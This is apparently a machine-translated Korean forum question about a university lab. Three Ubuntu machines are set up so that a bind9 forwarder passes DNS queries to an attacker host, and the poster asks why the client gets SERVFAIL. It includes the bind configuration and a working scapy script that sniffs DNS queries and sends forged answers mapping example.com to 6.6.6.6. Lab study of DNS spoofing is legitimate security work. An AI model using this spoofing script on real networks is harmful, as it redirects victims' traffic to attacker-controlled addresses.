바인딩된 DNS 서버로부터 응답을 받는 데 문제가 있습니다.

바인딩된 DNS 서버로부터 응답을 받는 데 문제가 있습니다.

실험의 일환으로 3개의 Ubuntu 머신에서 실행했습니다.만들다환경.
그들을 클라이언트, 서버, 공격자라고 부르세요.
클라이언트가 서버에 연결됩니다. (각각 10.1.1.2 및 10.1.1.3)
서버가 공격자에게 연결되었습니다. (각각 10.1.2.3 및 10.1.2.2)
서버는 MITM으로 실행되는 공격자에게 모든 쿼리를 전달하는 재귀 확인자를 시뮬레이션하도록 설계된 바인드9 서버를 실행합니다.
내가 편집한 서버에서명명된.conf.옵션:

options {
    directory "/var/cache/bind";
    dump-file "/var/cache/bind/dump.db";

    recursion yes;
    allow-recursion { any; };
    allow-query { any; };
    allow-query-cache { any; };

    forwarders { 10.1.2.2; };
    forward only;

    dnssec-validation no;

    auth-nxdomain no;
    listen-on-v6 { any; };
}

내가 편집한 클라이언트에서구성 파일 구문 분석:

nameserver 10.1.1.3
nameserver 192.168.252.1
search create.iucc.ac.il

두 번째 ns는 생성환경 ns로, 인터넷에 연결되지 않고 "create.iucc.ac.il"에 대한 쿼리에만 응답합니다.
공격자에서는 다음과 같은 scapy 스크립트를 실행합니다.

 from scapy.all import *
    
    def callback(pkt):
        if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1,\
                qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata="6.6.6.6"))
                send(spfResp, verbose=1)
                return 'Spoofed DNS Response Sent'
    
    sniff(filter="dst port 53", prn=callback)

"example.com"에 대한 쿼리에 대한 답변을 반환해야 합니다.
그러나 내가 사용할 때

dig example.com

클라이언트에서는 10.1.1.3에서 SERVFAIL을 받습니다. scapy 스크립트는 서버에 응답을 보냅니다. 클라이언트가 (스크립트에서 예상한 대로) 응답을 받는 유일한 시간은 "dig example.com" 명령을 스팸으로 보낼 때입니다.
왜 작동하지 않나요? 내 구성이 정확합니까?

관련 정보